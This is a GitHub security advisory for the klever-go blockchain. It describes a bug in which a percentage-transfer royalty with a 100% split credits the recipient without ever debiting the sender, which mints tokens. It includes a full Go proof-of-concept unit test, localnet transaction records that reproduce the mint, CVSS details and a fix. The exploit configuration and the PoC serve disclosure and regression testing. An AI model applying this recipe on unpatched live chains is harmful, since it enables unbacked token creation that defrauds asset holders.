Skip to content

klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits

High severity GitHub Reviewed Published Jun 22, 2026 in klever-io/klever-go

Package

gomod github.com/klever-io/klever-go (Go)

Affected versions

<= 1.7.19-rc2

Patched versions

1.7.19-rc4

Description

Summary

In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is
ordered after the split loop and after if royaltiesToPay <= 0 { return Ok }. The split-payout guard rejects
only an allocation that exceeds the pool (a strict splitToPay > royaltiesToPay), so a split entry of exactly
100%
(PercentTransferPercentage = 10000) is a valid config: it drives royaltiesToPay to 0 and hits the
early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing
for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is
safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after
the early-return.

Affected code

  • core/kapp/accounts/accounts.goprocessPercentageRoyaltiesTransfer: split loop → if royaltiesToPay <= 0 { return Ok }acntSrc.SubFromBalance(royaltyAmount) (debit after the early-return). Contrast the safe
    processFixedRoyaltiesTransfer (debit before the loop).

Impact

Unbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an
owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update
(off-the-books).

Reachability

Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint
fires on any holder's transfer of the asset — not just the owner's.

Proof of concept

Unit test

TestExploit_PercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks
ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited
the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case
does not early-return, the sender is debited, and value conserves.

Full Go PoC (core/kapp/accounts package, passes = mint confirmed)
package accounts

import (
	"bytes"
	"encoding/hex"
	"testing"

	"github.com/stretchr/testify/require"

	commonMock "github.com/klever-io/klever-go/common/mock"
	"github.com/klever-io/klever-go/core"
	"github.com/klever-io/klever-go/core/kapp"
	"github.com/klever-io/klever-go/data/block"
	"github.com/klever-io/klever-go/data/state"
	"github.com/klever-io/klever-go/data/transaction"
	integrationMock "github.com/klever-io/klever-go/integrationTest/mock"
	"github.com/klever-io/klever-go/kapps"
	kvmStub "github.com/klever-io/klever-go/kvm/mock/stub"
)

// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:
// processPercentageRoyaltiesTransfer credits the split recipient
// inside the loop, then hits `if royaltiesToPay <= 0 { return Ok }` BEFORE the
// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split
// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay
// to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays
// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case
// (which does NOT early-return) confirms the debit fires and value is conserved.
func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {
	const (
		assetIDStr     = "FUNGI-1234"
		transferValue  = int64(800)
		royaltyRatePct = uint32(500) // 5%
		royaltyAmount  = int64(40)   // 800 * 5% = 40
	)

	assetID := []byte(assetIDStr)

	// 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty
	// path is not short-circuited by core.IsSmartContractAddress.
	senderAddr := bytes.Repeat([]byte{0x11}, 32)
	// Split recipient address must be a valid hex string (computeSplitRoyalties
	// hex-decodes the map key).
	recipientAddr := bytes.Repeat([]byte{0x22}, 32)
	recipientKey := hex.EncodeToString(recipientAddr)
	royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)

	buildKDA := func(splitPercent uint32) *kapps.KDAData {
		return &kapps.KDAData{
			AssetType:    kapps.KDAData_Fungible,
			OwnerAddress: senderAddr,
			Royalties: &kapps.RoyaltiesData{
				Address: royaltyReceiverAddr,
				TransferPercentage: []*kapps.RoyaltyData{
					{Amount: 1000, Percentage: royaltyRatePct},
				},
				SplitRoyalties: map[string]*kapps.RoyaltySplitData{
					recipientKey: {PercentTransferPercentage: splitPercent},
				},
			},
		}
	}

	type runResult struct {
		subFromCalls    int
		subFromAmount   int64
		addToRecipient  int64
		addToOwnerRem   int64
		resCode         transaction.Transaction_TXResultCode
		err             error
	}

	run := func(t *testing.T, splitPercent uint32) runResult {
		t.Helper()

		res := runResult{}

		// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.
		acntSrc := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return senderAddr },
			GetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },
			SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.subFromCalls++
				res.subFromAmount += value
				return nil
			},
		}

		// Destination is irrelevant to the royalty pool accounting here.
		acntDst := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
		}

		// Split recipient: capture the credit it receives.
		splitRecipient := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return recipientAddr },
			AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.addToRecipient += value
				return nil
			},
		}

		// Owner-remainder receiver (only credited when the path does NOT early-return).
		royaltyReceiver := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
			AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.addToOwnerRem += value
				return nil
			},
		}

		cacher := &commonMock.AccountsCacherStub{
			LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {
				if bytes.Equal(address, recipientAddr) {
					return splitRecipient, nil
				}
				if bytes.Equal(address, royaltyReceiverAddr) {
					return royaltyReceiver, nil
				}
				return acntSrc, nil
			},
			GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {
				return royaltyReceiver, nil
			},
			UpdateUserCalled: func(_ state.AccountHandler) error { return nil },
		}

		// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts
		// (overflow-checked percentage math), and FixMarketBuyOverflow so the
		// fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.
		fc := &integrationMock.ForkControllerStub{
			KdaFprCalled:               func() bool { return true },
			EnableSmartContractsCalled: func() bool { return true },
			FixMarketBuyOverflowCalled: func() bool { return true },
		}

		kappController := &kvmStub.KAppControllerStub{
			GetCurrentKAppContextCalled: func() kapp.KappContext {
				return kapp.NewKappContext(kapp.ArgsNewKAppContext{
					OriginalSender: senderAddr,
					ContractID:     0,
					ContractType:   transaction.TXContract_TransferContractType,
					Block:          &block.Block{},
				})
			},
		}

		a := &accountsKapp{
			accountsCacher: cacher,
			forkController: fc,
			KAppController: kappController,
		}

		tc := &transaction.TransferContract{
			Amount:       transferValue,
			KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)
		}

		kda := buildKDA(splitPercent)

		res.resCode, res.err = a.processPercentageRoyaltiesTransfer(
			tc, assetID, nil, acntSrc, acntDst, kda,
		)
		return res
	}

	// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----
	t.Run("split_100pct_mints", func(t *testing.T) {
		r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config

		require.NoError(t, r.err)
		require.Equal(t, transaction.Transaction_Ok, r.resCode)

		credited := r.addToRecipient
		debited := r.subFromAmount
		mintDelta := credited - debited

		t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited)
		t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls)
		t.Logf("[100%% case] sender royalty amount debited            = %d", debited)
		t.Logf("[100%% case] owner-remainder credited                 = %d", r.addToOwnerRem)
		t.Logf("[100%% case] MINT delta (credited - debited)          = %d", mintDelta)

		// (1) split recipient WAS credited the full royaltyAmount (> 0).
		require.Equal(t, royaltyAmount, credited,
			"split recipient must receive the full royalty pool")
		require.Greater(t, credited, int64(0))

		// (2) the sender's royalty debit was NEVER called -> value created.
		require.Equal(t, 0, r.subFromCalls,
			"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return")
		require.Equal(t, int64(0), debited)

		// credited > debited => mint of royaltyAmount.
		require.Equal(t, royaltyAmount, mintDelta,
			"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)",
			mintDelta, assetIDStr)
	})

	// ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ----
	t.Run("split_50pct_conserves", func(t *testing.T) {
		r := run(t, core.HundredPercent/2) // 5000 == 50%

		require.NoError(t, r.err)
		require.Equal(t, transaction.Transaction_Ok, r.resCode)

		credited := r.addToRecipient + r.addToOwnerRem
		debited := r.subFromAmount

		t.Logf("[50%% case] split recipient credited      = %d", r.addToRecipient)
		t.Logf("[50%% case] owner-remainder credited       = %d", r.addToOwnerRem)
		t.Logf("[50%% case] total credited                 = %d", credited)
		t.Logf("[50%% case] sender royalty-debit calls      = %d", r.subFromCalls)
		t.Logf("[50%% case] sender royalty amount debited   = %d", debited)
		t.Logf("[50%% case] net (credited - debited)        = %d (0 => conserved)", credited-debited)

		// Sender IS debited the full royalty pool exactly once.
		require.Equal(t, 1, r.subFromCalls,
			"sibling path: at <100%% the early-return does NOT fire, so the sender royalty debit runs")
		require.Equal(t, royaltyAmount, debited)

		// Split (20) + owner remainder (20) == debited (40): value conserved.
		require.Equal(t, royaltyAmount/2, r.addToRecipient)
		require.Equal(t, royaltyAmount/2, r.addToOwnerRem)
		require.Equal(t, debited, credited, "50%% case conserves: total credited == debited")
	})
}

On-chain reproduction (live single-node localnet)

Asset F07-3NG3 was created with a 10% transfer royalty (percentage: 1000) and a single 100% split
(percentTransferPercentage: 10000) to address R (klv1qeh4py4…qcv2xjm). A transfer of 100,000,000,000 units
(with kdaRoyalties = 10,000,000,000, i.e. the 10% pool) then produced two credit receipts: the recipient gets
the 100,000,000,000 transfer, and R is credited the 10,000,000,000 royalty — while the sender was debited
only the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.

Create tx — F07-3NG3, 10% transfer royalty + single 100% split to R (hash ec2a8e8d…af12bc7f)
{
    "hash": "ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f",
    "blockNum": 104,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "contract": [
        {
            "type": 1,
            "typeString": "CreateAssetContractType",
            "parameter": {
                "type": "Fungible",
                "name": "Finding07",
                "ticker": "F07",
                "precision": 6,
                "initialSupply": 1000000000000,
                "maxSupply": 0,
                "royalties": {
                    "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
                    "transferPercentage": [
                        { "percentage": 1000 }
                    ],
                    "splitRoyalties": [
                        {
                            "address": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                            "percentTransferPercentage": 10000
                        }
                    ]
                }
            }
        }
    ]
}
Transfer tx — royalty pool 10,000,000,000 credited to R with no source debit (hash 37527757…bf3706b1)
{
    "hash": "37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1",
    "blockNum": 120,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 10000000000
        },
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
            "type": 0,
            "typeString": "Transfer",
            "value": 100000000000
        }
    ],
    "contract": [
        {
            "type": 0,
            "typeString": "TransferContractType",
            "parameter": {
                "assetId": "F07-3NG3",
                "toAddress": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
                "amount": 100000000000,
                "kdaRoyalties": 10000000000
            }
        }
    ]
}

Remediation

Reorder so the royalty pool is debited from the sender before the split distribution, mirroring
processFixedRoyaltiesTransfer:

err := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST
// ... then the split loop and `if royaltiesToPay <= 0 { return Ok }` (now only skips a zero owner-remainder)

Add the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.

References

@fbsobreira fbsobreira published to klever-io/klever-go Jun 22, 2026
Published to the GitHub Advisory Database Aug 28, 2026
Reviewed Aug 28, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(23rd percentile)

Weaknesses

Improper Enforcement of Behavioral Workflow

The product supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence. Learn more on MITRE.

CVE ID

CVE-2026-55763

GHSA ID

GHSA-v358-wf77-39xv

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.